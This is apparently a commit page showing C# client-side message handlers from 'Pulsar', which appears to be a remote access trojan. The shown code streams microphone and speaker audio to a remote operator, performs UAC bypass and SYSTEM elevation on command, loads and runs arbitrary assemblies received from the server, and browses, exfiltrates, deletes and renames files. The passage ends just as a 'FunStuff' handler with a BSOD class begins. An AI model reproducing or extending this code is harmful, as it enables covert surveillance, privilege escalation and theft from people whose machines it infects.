initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
Binary file not shown.
+261
View File
@@ -0,0 +1,261 @@
using NAudio.CoreAudioApi;
using NAudio.Wave;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Audio;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
namespace Pulsar.Client.Messages
{
public class AudioHandler : NotificationMessageProcessor, IDisposable
{
public override bool CanExecute(IMessage message) => message is GetMicrophone ||
message is GetMicrophoneDevice;
public override bool CanExecuteFrom(ISender sender) => true;
public ISender _client;
private bool _isStarted;
public WaveInEvent _audioDevice;
private int _deviceID;
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetMicrophone msg:
Execute(sender, msg);
break;
case GetMicrophoneDevice msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetMicrophone message)
{
if (message.CreateNew)
{
try
{
_isStarted = false;
_audioDevice?.Dispose();
OnReport("Audio streaming started");
}
catch (Exception ex)
{
OnReport($"Error during audio device cleanup: {ex.Message}");
}
}
if (message.Destroy)
{
try
{
Destroy();
OnReport("Audio streaming stopped");
}
catch (Exception ex)
{
OnReport($"Error stopping audio: {ex.Message}");
}
return;
}
if (_client == null) _client = client;
if (!_isStarted)
{
try
{
_deviceID = message.DeviceIndex;
if (_deviceID < 0 || _deviceID >= WaveIn.DeviceCount)
{
OnReport($"Invalid microphone device index: {_deviceID}. Available devices: {WaveIn.DeviceCount}");
return;
}
var capabilities = WaveIn.GetCapabilities(_deviceID);
if (capabilities.Channels == 0)
{
OnReport($"Microphone device {_deviceID} has no available channels");
return;
}
OnReport($"Initializing microphone device {_deviceID}: {capabilities.ProductName}");
_audioDevice = new WaveInEvent
{
DeviceNumber = _deviceID,
WaveFormat = new WaveFormat(message.Bitrate, capabilities.Channels)
};
_audioDevice.BufferMilliseconds = 50;
_audioDevice.DataAvailable += sourcestream_DataAvailable;
_audioDevice.StartRecording();
_isStarted = true;
}
catch (ArgumentOutOfRangeException ex)
{
OnReport($"Device index out of range: {ex.Message}");
_isStarted = false;
}
catch (InvalidOperationException ex)
{
OnReport($"Invalid microphone operation: {ex.Message}");
_isStarted = false;
}
catch (System.Runtime.InteropServices.COMException ex)
{
OnReport($"COM error accessing microphone: {ex.Message}");
_isStarted = false;
}
catch (UnauthorizedAccessException ex)
{
OnReport($"Unauthorized access to microphone: {ex.Message}");
_isStarted = false;
}
catch (Exception ex)
{
OnReport($"Unexpected error initializing microphone: {ex.Message}");
_isStarted = false;
}
}
}
private void sourcestream_DataAvailable(object notUsed, WaveInEventArgs e)
{
try
{
if (e?.Buffer == null || e.BytesRecorded <= 0)
{
return;
}
byte[] rawAudio = new byte[e.BytesRecorded];
Array.Copy(e.Buffer, rawAudio, e.BytesRecorded);
_client?.Send(new GetMicrophoneResponse
{
Audio = rawAudio,
Device = _deviceID
});
}
catch (Exception ex)
{
OnReport($"Error processing microphone data: {ex.Message}");
}
}
private void Execute(ISender client, GetMicrophoneDevice message)
{
try
{
var deviceList = new List<Tuple<int, string>>();
int deviceCount = WaveIn.DeviceCount;
for (int i = 0; i < deviceCount; i++)
{
try
{
var capabilities = WaveIn.GetCapabilities(i);
string deviceName = capabilities.ProductName;
OnReport($"Found microphone device {i}: {deviceName} (Channels: {capabilities.Channels})");
if (!string.IsNullOrEmpty(deviceName) && capabilities.Channels > 0)
{
deviceList.Add(Tuple.Create(i, deviceName));
}
}
catch (Exception ex)
{
OnReport($"Error accessing microphone device {i}: {ex.Message}");
}
}
client.Send(new GetMicrophoneDeviceResponse { DeviceInfos = deviceList });
}
catch (Exception ex)
{
OnReport($"Error enumerating microphone devices: {ex.Message}");
client.Send(new GetMicrophoneDeviceResponse { DeviceInfos = new List<Tuple<int, string>>() });
}
}
public void Destroy()
{
try
{
if (_audioDevice != null)
{
try
{
_audioDevice.DataAvailable -= sourcestream_DataAvailable;
}
catch (Exception ex)
{
OnReport($"Error unsubscribing from DataAvailable event: {ex.Message}");
}
try
{
if (_audioDevice.DeviceNumber >= 0) // Check if device is valid
{
_audioDevice.StopRecording();
}
}
catch (Exception ex)
{
OnReport($"Error stopping microphone recording: {ex.Message}");
}
try
{
_audioDevice.Dispose();
}
catch (Exception ex)
{
OnReport($"Error disposing microphone device: {ex.Message}");
}
_audioDevice = null;
}
}
catch (Exception ex)
{
OnReport($"Error in Destroy method: {ex.Message}");
}
finally
{
_isStarted = false;
}
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
try
{
Destroy();
}
catch (Exception ex)
{
OnReport($"Error during disposal: {ex.Message}");
}
}
}
}
}
@@ -0,0 +1,275 @@
using NAudio.CoreAudioApi;
using NAudio.Wave;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Audio;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client.Messages
{
public class AudioOutputHandler : NotificationMessageProcessor, IDisposable
{
public override bool CanExecute(IMessage message) => message is GetOutput ||
message is GetOutputDevice;
public override bool CanExecuteFrom(ISender sender) => true;
public ISender _client;
private bool _isStarted;
public WasapiLoopbackCapture _audioDevice;
private int _deviceID;
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetOutput msg:
Execute(sender, msg);
break;
case GetOutputDevice msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetOutput message)
{
if (message.CreateNew)
{
try
{
_isStarted = false;
_audioDevice?.Dispose();
OnReport("Speaker audio streaming started");
}
catch (Exception ex)
{
OnReport($"Error during audio device cleanup: {ex.Message}");
}
}
if (message.Destroy)
{
try
{
Destroy();
OnReport("Speaker audio streaming stopped");
}
catch (Exception ex)
{
OnReport($"Error stopping speaker audio: {ex.Message}");
}
return;
}
if (_client == null) _client = client;
if (!_isStarted)
{
try
{
_deviceID = message.DeviceIndex;
var enumerator = new MMDeviceEnumerator();
var devices = enumerator.EnumerateAudioEndPoints(DataFlow.Render, DeviceState.Active);
if (_deviceID < 0 || _deviceID >= devices.Count)
{
OnReport($"Invalid device index: {_deviceID}. Available devices: {devices.Count}");
enumerator.Dispose();
return;
}
var device = devices[_deviceID];
if (device == null)
{
OnReport($"Audio device at index {_deviceID} is null");
enumerator.Dispose();
return;
}
OnReport($"Initializing system audio device {_deviceID}: {device.FriendlyName}");
if (device.AudioClient?.MixFormat == null)
{
OnReport($"Audio device {_deviceID} has invalid audio client or format");
enumerator.Dispose();
return;
}
int sampleRate = message.Bitrate;
int channels = device.AudioClient.MixFormat.Channels;
var waveFormat = new WaveFormat(sampleRate, channels);
_audioDevice = new WasapiLoopbackCapture(device);
_audioDevice.WaveFormat = waveFormat;
_audioDevice.DataAvailable += sourcestream_DataAvailable;
_audioDevice.StartRecording();
_isStarted = true;
enumerator.Dispose();
}
catch (ArgumentOutOfRangeException ex)
{
OnReport($"Device index out of range: {ex.Message}");
_isStarted = false;
}
catch (InvalidOperationException ex)
{
OnReport($"Invalid audio operation: {ex.Message}");
_isStarted = false;
}
catch (System.Runtime.InteropServices.COMException ex)
{
OnReport($"COM error accessing audio device: {ex.Message}");
_isStarted = false;
}
catch (UnauthorizedAccessException ex)
{
OnReport($"Unauthorized access to audio device: {ex.Message}");
_isStarted = false;
}
catch (Exception ex)
{
OnReport($"Unexpected error initializing audio capture: {ex.Message}");
_isStarted = false;
}
}
}
private void sourcestream_DataAvailable(object sender, WaveInEventArgs e) //fix overheat
{
byte[] bufferCopy = new byte[e.BytesRecorded];
Array.Copy(e.Buffer, bufferCopy, e.BytesRecorded);
Task.Run(() =>
{
try
{
_client.Send(new GetOutputResponse
{
Audio = bufferCopy,
Device = _deviceID
});
}
catch (Exception ex)
{
OnReport($"Error sending audio data: {ex.Message}");
}
});
}
private void Execute(ISender client, GetOutputDevice message)
{
try
{
var deviceList = new List<Tuple<int, string>>();
var enumerator = new MMDeviceEnumerator();
var devices = enumerator.EnumerateAudioEndPoints(DataFlow.Render, DeviceState.Active);
for (int i = 0; i < devices.Count; i++)
{
try
{
var deviceName = devices[i]?.FriendlyName;
if (!string.IsNullOrEmpty(deviceName))
{
OnReport($"Found system audio device {i}: {deviceName}");
deviceList.Add(Tuple.Create(i, deviceName));
}
}
catch (Exception ex)
{
OnReport($"Error accessing device {i}: {ex.Message}");
}
}
enumerator.Dispose();
client.Send(new GetOutputDeviceResponse { DeviceInfos = deviceList });
}
catch (Exception ex)
{
OnReport($"Error enumerating audio devices: {ex.Message}");
client.Send(new GetOutputDeviceResponse { DeviceInfos = new List<Tuple<int, string>>() });
}
}
public void Destroy()
{
try
{
if (_audioDevice != null)
{
try
{
_audioDevice.DataAvailable -= sourcestream_DataAvailable;
}
catch (Exception ex)
{
OnReport($"Error unsubscribing from DataAvailable event: {ex.Message}");
}
try
{
if (_audioDevice.CaptureState == CaptureState.Capturing)
{
_audioDevice.StopRecording();
}
}
catch (Exception ex)
{
OnReport($"Error stopping audio recording: {ex.Message}");
}
try
{
_audioDevice.Dispose();
}
catch (Exception ex)
{
OnReport($"Error disposing audio device: {ex.Message}");
}
_audioDevice = null;
}
}
catch (Exception ex)
{
OnReport($"Error in Destroy method: {ex.Message}");
}
finally
{
_isStarted = false;
}
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
try
{
Destroy();
}
catch (Exception ex)
{
OnReport($"Error during disposal: {ex.Message}");
}
}
}
}
}
@@ -0,0 +1,204 @@
using Microsoft.Win32;
using Pulsar.Client.Config;
using Pulsar.Client.Helper;
using Pulsar.Client.Helper.UAC;
using Pulsar.Client.Networking;
using Pulsar.Client.Setup;
using Pulsar.Client.User;
using Pulsar.Client.Utilities;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.ClientManagement;
using Pulsar.Common.Messages.ClientManagement.UAC;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Common.UAC;
using System;
using System.Diagnostics;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Pulsar.Client.Messages
{
public class ClientServicesHandler : IMessageProcessor
{
private readonly PulsarClient _client;
private readonly PulsarApplication _application;
public ClientServicesHandler(PulsarApplication application, PulsarClient client)
{
_application = application;
_client = client;
}
public bool CanExecute(IMessage message) => message is DoClientUninstall ||
message is DoClientDisconnect ||
message is DoClientReconnect ||
message is DoAskElevate ||
message is DoElevateSystem ||
message is DoDeElevate ||
message is DoUACBypass ||
message is DoClearTempDirectory;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoClientUninstall msg:
Execute(sender, msg);
break;
case DoClientDisconnect msg:
Execute(sender, msg);
break;
case DoClientReconnect msg:
Execute(sender, msg);
break;
case DoAskElevate msg:
Execute(sender, msg);
break;
case DoElevateSystem msg:
Execute(sender, msg);
break;
case DoDeElevate msg:
Execute(sender, msg);
break;
case DoUACBypass msg:
Execute(sender, msg);
break;
case DoClearTempDirectory msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoClientUninstall message)
{
client.Send(new SetStatus { Message = "Starting uninstall process..." });
try
{
new ClientUninstaller().Uninstall();
client.Send(new SetStatus { Message = "Uninstallation complete. Exiting client." });
_client.Exit();
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" });
}
}
private void Execute(ISender client, DoClientDisconnect message)
{
client.Send(new SetStatus { Message = "Disconnecting client..." });
_client.Exit();
}
private void Execute(ISender client, DoClientReconnect message)
{
client.Send(new SetStatus { Message = "Reconnecting client..." });
_client.Disconnect();
}
private void Execute(ISender client, DoAskElevate message)
{
var userAccount = new UserAccount();
client.Send(new SetStatus { Message = "Checking for administrative privileges..." });
if (userAccount.Type != AccountType.Admin)
{
client.Send(new SetStatus { Message = "Attempting to request elevation..." });
ProcessStartInfo processStartInfo = new ProcessStartInfo
{
FileName = "cmd",
Verb = "runas",
Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT",
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true
};
_application.ApplicationMutex.Dispose();
try
{
Process.Start(processStartInfo);
client.Send(new SetStatus { Message = "Elevation process started. Exiting current instance." });
}
catch
{
client.Send(new SetStatus { Message = "User refused the elevation request." });
_application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
return;
}
_client.Exit();
}
else
{
client.Send(new SetStatus { Message = "Process already running with administrative privileges." });
}
}
private void Execute(ISender client, DoElevateSystem message)
{
client.Send(new SetStatus { Message = "Attempting to elevate to SYSTEM..." });
SystemElevation.Elevate(client);
}
private void Execute(ISender client, DoDeElevate message)
{
client.Send(new SetStatus { Message = "Attempting to de-elevate from SYSTEM..." });
SystemElevation.DeElevate(client);
}
private void Execute(ISender client, DoUACBypass message)
{
client.Send(new SetStatus { Message = "Executing UAC bypass..." });
Bypass.DoUacBypass();
client.Send(new SetStatus { Message = "UAC bypass completed. Exiting client." });
_client.Exit();
}
private void Execute(ISender client, DoClearTempDirectory message)
{
client.Send(new SetStatus { Message = "Starting temporary file cleanup..." });
try
{
string tempPath = System.IO.Path.GetTempPath();
string[] files = System.IO.Directory.GetFiles(tempPath, "*", System.IO.SearchOption.AllDirectories);
int deletedFiles = 0;
foreach (string file in files)
{
try
{
System.IO.File.Delete(file);
deletedFiles++;
}
catch
{
// Ignore permission or lock errors
}
}
foreach (string dir in System.IO.Directory.GetDirectories(tempPath))
{
try
{
System.IO.Directory.Delete(dir, true);
}
catch
{
// Ignore restricted directories
}
}
client.Send(new SetStatus { Message = $"Cleanup complete — {deletedFiles} files deleted." });
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Temp cleanup failed: {ex.Message}" });
}
}
}
}
+98
View File
@@ -0,0 +1,98 @@
using System;
using System.Reflection;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Client.Plugins;
using Pulsar.Common.Plugins;
namespace Pulsar.Client.Messages
{
public sealed class CommandHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) =>
message is DoLoadUniversalPlugin ||
message is DoExecuteUniversalCommand;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
try
{
switch (message)
{
case DoLoadUniversalPlugin loadMsg:
HandleLoadUniversalPlugin(sender, loadMsg);
break;
case DoExecuteUniversalCommand execMsg:
HandleExecuteUniversalCommand(sender, execMsg);
break;
}
}
catch (Exception ex)
{
sender.Send(new SetStatus { Message = "Command error: " + ex.Message });
}
}
private void HandleLoadUniversalPlugin(ISender sender, DoLoadUniversalPlugin msg)
{
try
{
var asm = Assembly.Load(msg.PluginBytes);
var type = asm.GetType(msg.TypeName, throwOnError: true);
var plugin = Activator.CreateInstance(type);
var initializeMethod = type.GetMethod("Initialize");
initializeMethod.Invoke(plugin, new object[] { msg.InitData });
UniversalPluginDispatcher.RegisterPlugin(msg.PluginId, plugin);
sender.Send(new DoUniversalPluginResponse
{
PluginId = msg.PluginId,
Command = "load",
Success = true,
Message = $"Plugin {msg.PluginId} loaded successfully"
});
}
catch (Exception ex)
{
sender.Send(new DoUniversalPluginResponse
{
PluginId = msg.PluginId,
Command = "load",
Success = false,
Message = ex.Message
});
}
}
private void HandleExecuteUniversalCommand(ISender sender, DoExecuteUniversalCommand msg)
{
var result = UniversalPluginDispatcher.ExecuteCommand(msg.PluginId, msg.Command, msg.Parameters);
var resultType = result.GetType();
var successProperty = resultType.GetProperty("Success");
var messageProperty = resultType.GetProperty("Message");
var dataProperty = resultType.GetProperty("Data");
var shouldUnloadProperty = resultType.GetProperty("ShouldUnload");
var nextCommandProperty = resultType.GetProperty("NextCommand");
bool success = successProperty != null ? (bool)successProperty.GetValue(result) : false;
string message = messageProperty != null ? (string)messageProperty.GetValue(result) : "Unknown error";
byte[] data = dataProperty != null ? (byte[])dataProperty.GetValue(result) : null;
bool shouldUnload = shouldUnloadProperty != null ? (bool)shouldUnloadProperty.GetValue(result) : false;
string nextCommand = nextCommandProperty != null ? (string)nextCommandProperty.GetValue(result) : null;
sender.Send(new DoUniversalPluginResponse
{
PluginId = msg.PluginId,
Command = msg.Command,
Success = success,
Message = message,
Data = data,
ShouldUnload = shouldUnload,
NextCommand = nextCommand
});
}
}
}
@@ -0,0 +1,53 @@
using Pulsar.Client.Config;
using Pulsar.Client.Utilities;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System.Diagnostics;
using System.Threading;
namespace Pulsar.Client.Messages
{
/// <summary>
/// Receives deferred assembly packages from the server and forwards them to the manager.
/// </summary>
public class DeferredAssemblyHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DeferredAssembliesPackage;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
var package = message as DeferredAssembliesPackage;
if (package == null)
{
Debug.WriteLine("[DeferredAssemblyHandler] Received invalid package.");
return;
}
DeferredAssemblyManager.RegisterPackage(package);
var remaining = DeferredAssemblyManager.GetMissingAssemblies();
if (remaining != null && remaining.Length > 0)
{
Debug.WriteLine($"[DeferredAssemblyHandler] Still missing {remaining.Length} deferred assemblies, requesting again.");
ThreadPool.QueueUserWorkItem(_ =>
{
try
{
sender.Send(new RequestDeferredAssemblies
{
Assemblies = remaining,
ClientVersion = Settings.ReportedVersion
});
}
catch (System.Exception ex)
{
Debug.WriteLine($"[DeferredAssemblyHandler] Failed to re-request deferred assemblies: {ex.Message}");
}
});
}
}
}
}
@@ -0,0 +1,587 @@
using Pulsar.Client.Networking;
using Pulsar.Common;
using Pulsar.Common.Enums;
using Pulsar.Common.Extensions;
using Pulsar.Common.Helpers;
using Pulsar.Common.IO;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.FileManager;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using System;
using System.Collections.Concurrent;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Security;
using System.Threading;
namespace Pulsar.Client.Messages
{
public class FileManagerHandler : NotificationMessageProcessor, IDisposable
{
private readonly ConcurrentDictionary<int, FileSplit> _activeTransfers = new ConcurrentDictionary<int, FileSplit>();
private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads
private readonly PulsarClient _client;
private CancellationTokenSource _tokenSource;
private CancellationToken _token;
public FileManagerHandler(PulsarClient client)
{
_client = client;
_client.ClientState += OnClientStateChange;
_tokenSource = new CancellationTokenSource();
_token = _tokenSource.Token;
}
private void OnClientStateChange(Networking.Client s, bool connected)
{
switch (connected)
{
case true:
_tokenSource?.Dispose();
_tokenSource = new CancellationTokenSource();
_token = _tokenSource.Token;
break;
case false:
// cancel all running transfers on disconnect
_tokenSource.Cancel();
break;
}
}
public override bool CanExecute(IMessage message) => message is GetDrives ||
message is GetDirectory ||
message is FileTransferRequest ||
message is FileTransferCancel ||
message is FileTransferChunk ||
message is DoPathDelete ||
message is DoPathRename ||
message is DoZipFolder;
public override bool CanExecuteFrom(ISender sender) => true;
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetDrives msg:
Execute(sender, msg);
break;
case GetDirectory msg:
Execute(sender, msg);
break;
case FileTransferRequest msg:
Execute(sender, msg);
break;
case FileTransferCancel msg:
Execute(sender, msg);
break;
case FileTransferChunk msg:
Execute(sender, msg);
break;
case DoPathDelete msg:
Execute(sender, msg);
break;
case DoPathRename msg:
Execute(sender, msg);
break;
case DoZipFolder msg:
HandleDoZipFile(sender, msg);
break;
}
}
private void HandleDoZipFile(ISender client, DoZipFolder message)
{
try
{
if (!Directory.Exists(message.SourcePath))
{
client.Send(new SetStatusFileManager { Message = $"Directory not found: {message.SourcePath}" });
return;
}
client.Send(new SetStatusFileManager { Message = $"Creating zip archive: {message.DestinationPath}" });
string parentDir = Path.GetDirectoryName(message.DestinationPath);
if (!Directory.Exists(parentDir))
Directory.CreateDirectory(parentDir);
if (File.Exists(message.DestinationPath))
File.Delete(message.DestinationPath);
ZipFile.CreateFromDirectory(
message.SourcePath,
message.DestinationPath,
(CompressionLevel)message.CompressionLevel,
includeBaseDirectory: false);
client.Send(new SetStatusFileManager { Message = $"Successfully created zip: {message.DestinationPath}" });
}
catch (Exception ex)
{
client.Send(new SetStatusFileManager { Message = $"Error creating zip: {ex.Message}" });
}
}
private void Execute(ISender client, GetDrives command)
{
DriveInfo[] driveInfos;
try
{
driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray();
}
catch (IOException)
{
client.Send(new SetStatusFileManager { Message = "GetDrives I/O error", SetLastDirectorySeen = false });
return;
}
catch (UnauthorizedAccessException)
{
client.Send(new SetStatusFileManager { Message = "GetDrives No permission", SetLastDirectorySeen = false });
return;
}
if (driveInfos.Length == 0)
{
client.Send(new SetStatusFileManager { Message = "GetDrives No drives", SetLastDirectorySeen = false });
return;
}
Drive[] drives = new Drive[driveInfos.Length];
for (int i = 0; i < drives.Length; i++)
{
try
{
var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel)
? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName,
driveInfos[i].VolumeLabel,
driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat)
: string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName,
driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat);
drives[i] = new Drive
{ DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName };
}
catch (Exception)
{
}
}
client.Send(new GetDrivesResponse { Drives = drives });
}
private void Execute(ISender client, GetDirectory message)
{
bool isError = false;
string statusMessage = null;
Action<string> onError = (msg) =>
{
isError = true;
statusMessage = msg;
};
try
{
DirectoryInfo dicInfo = new DirectoryInfo(message.RemotePath);
FileInfo[] files = dicInfo.GetFiles();
DirectoryInfo[] directories = dicInfo.GetDirectories();
FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length];
int offset = 0;
for (int i = 0; i < directories.Length; i++, offset++)
{
items[i] = new FileSystemEntry
{
EntryType = FileType.Directory,
Name = directories[i].Name,
Size = 0,
LastAccessTimeUtc = directories[i].LastAccessTimeUtc
};
}
for (int i = 0; i < files.Length; i++)
{
items[i + offset] = new FileSystemEntry
{
EntryType = FileType.File,
Name = files[i].Name,
Size = files[i].Length,
ContentType = Path.GetExtension(files[i].Name).ToContentType(),
LastAccessTimeUtc = files[i].LastAccessTimeUtc
};
}
client.Send(new GetDirectoryResponse { RemotePath = message.RemotePath, Items = items });
}
catch (UnauthorizedAccessException)
{
onError("GetDirectory No permission");
}
catch (SecurityException)
{
onError("GetDirectory No permission");
}
catch (PathTooLongException)
{
onError("GetDirectory Path too long");
}
catch (DirectoryNotFoundException)
{
onError("GetDirectory Directory not found");
}
catch (FileNotFoundException)
{
onError("GetDirectory File not found");
}
catch (IOException)
{
onError("GetDirectory I/O error");
}
catch (Exception)
{
onError("GetDirectory Failed");
}
finally
{
if (isError && !string.IsNullOrEmpty(statusMessage))
client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = true });
}
}
private void Execute(ISender client, FileTransferRequest message)
{
new Thread(() =>
{
_limitThreads.WaitOne();
try
{
using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read))
{
_activeTransfers[message.Id] = srcFile;
OnReport("File upload started");
foreach (var chunk in srcFile)
{
if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id))
break;
// blocking sending might not be required, needs further testing
_client.SendBlocking(new FileTransferChunk
{
Id = message.Id,
FilePath = message.RemotePath,
FileSize = srcFile.FileSize,
Chunk = chunk
});
}
client.Send(new FileTransferComplete
{
Id = message.Id,
FilePath = message.RemotePath
});
}
}
catch (Exception)
{
client.Send(new FileTransferCancel
{
Id = message.Id,
Reason = "Error reading file"
});
}
finally
{
RemoveFileTransfer(message.Id);
_limitThreads.Release();
}
}).Start();
}
private void Execute(ISender client, FileTransferCancel message)
{
if (_activeTransfers.ContainsKey(message.Id))
{
RemoveFileTransfer(message.Id);
client.Send(new FileTransferCancel
{
Id = message.Id,
Reason = "Canceled"
});
}
}
/// <summary>
/// Validates and sanitizes a file path to prevent path traversal attacks.
/// </summary>
/// <param name="filePath">The file path to validate.</param>
/// <returns>A safe file path or null if the path is invalid.</returns>
private string ValidateAndSanitizeFilePath(string filePath)
{
try
{
if (string.IsNullOrWhiteSpace(filePath))
return null;
string fullPath = Path.GetFullPath(filePath);
if (!Path.IsPathRooted(fullPath))
return null;
string fileName = Path.GetFileName(fullPath);
if (string.IsNullOrEmpty(fileName) || fileName.Contains(".."))
return null;
char[] invalidChars = Path.GetInvalidFileNameChars();
if (fileName.IndexOfAny(invalidChars) >= 0)
return null;
string directory = Path.GetDirectoryName(fullPath);
if (string.IsNullOrEmpty(directory))
return null;
if (!Directory.Exists(directory))
{
Directory.CreateDirectory(directory);
}
return fullPath;
}
catch
{
return null;
}
}
private void Execute(ISender client, FileTransferChunk message)
{
try
{
if (message.Chunk.Offset == 0)
{
string filePath = message.FilePath;
if (string.IsNullOrEmpty(filePath))
{
// generate new temporary file path if empty
filePath = FileHelper.GetTempFilePath(message.FileExtension);
}
else
{
filePath = ValidateAndSanitizeFilePath(filePath);
if (filePath == null)
{
client.Send(new FileTransferCancel
{
Id = message.Id,
Reason = "Invalid file path - security violation"
});
return;
}
}
if (File.Exists(filePath))
{
// delete existing file
NativeMethods.DeleteFile(filePath);
}
_activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write);
OnReport("File download started");
}
if (!_activeTransfers.ContainsKey(message.Id))
return;
var destFile = _activeTransfers[message.Id];
destFile.WriteChunk(message.Chunk);
if (destFile.FileSize == message.FileSize)
{
client.Send(new FileTransferComplete
{
Id = message.Id,
FilePath = destFile.FilePath
});
RemoveFileTransfer(message.Id);
}
}
catch (Exception)
{
RemoveFileTransfer(message.Id);
client.Send(new FileTransferCancel
{
Id = message.Id,
Reason = "Error writing file"
});
}
}
private void Execute(ISender client, DoPathDelete message)
{
bool isError = false;
string statusMessage = null;
Action<string> onError = (msg) =>
{
isError = true;
statusMessage = msg;
};
try
{
switch (message.PathType)
{
case FileType.Directory:
Directory.Delete(message.Path, true);
client.Send(new SetStatusFileManager
{
Message = "Deleted directory",
SetLastDirectorySeen = false
});
break;
case FileType.File:
File.Delete(message.Path);
client.Send(new SetStatusFileManager
{
Message = "Deleted file",
SetLastDirectorySeen = false
});
break;
}
Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.Path) });
}
catch (UnauthorizedAccessException)
{
onError("DeletePath No permission");
}
catch (PathTooLongException)
{
onError("DeletePath Path too long");
}
catch (DirectoryNotFoundException)
{
onError("DeletePath Path not found");
}
catch (IOException)
{
onError("DeletePath I/O error");
}
catch (Exception)
{
onError("DeletePath Failed");
}
finally
{
if (isError && !string.IsNullOrEmpty(statusMessage))
client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false });
}
}
private void Execute(ISender client, DoPathRename message)
{
bool isError = false;
string statusMessage = null;
Action<string> onError = (msg) =>
{
isError = true;
statusMessage = msg;
};
try
{
switch (message.PathType)
{
case FileType.Directory:
Directory.Move(message.Path, message.NewPath);
client.Send(new SetStatusFileManager
{
Message = "Renamed directory",
SetLastDirectorySeen = false
});
break;
case FileType.File:
File.Move(message.Path, message.NewPath);
client.Send(new SetStatusFileManager
{
Message = "Renamed file",
SetLastDirectorySeen = false
});
break;
}
Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.NewPath) });
}
catch (UnauthorizedAccessException)
{
onError("RenamePath No permission");
}
catch (PathTooLongException)
{
onError("RenamePath Path too long");
}
catch (DirectoryNotFoundException)
{
onError("RenamePath Path not found");
}
catch (IOException)
{
onError("RenamePath I/O error");
}
catch (Exception)
{
onError("RenamePath Failed");
}
finally
{
if (isError && !string.IsNullOrEmpty(statusMessage))
client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false });
}
}
private void RemoveFileTransfer(int id)
{
if (_activeTransfers.ContainsKey(id))
{
_activeTransfers[id]?.Dispose();
_activeTransfers.TryRemove(id, out _);
}
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_client.ClientState -= OnClientStateChange;
_tokenSource.Cancel();
_tokenSource.Dispose();
foreach (var transfer in _activeTransfers)
{
transfer.Value?.Dispose();
}
_activeTransfers.Clear();
}
}
}
}
+276
View File
@@ -0,0 +1,276 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using Pulsar.Common.Messages.FunStuff;
using Pulsar.Common.Messages.Other;
using Pulsar.Client.FunStuff;
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using System.Diagnostics;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Pulsar.Client.Messages
{
public class FunStuffHandler : IMessageProcessor, IDisposable
{
private BSOD _bsod = new BSOD();
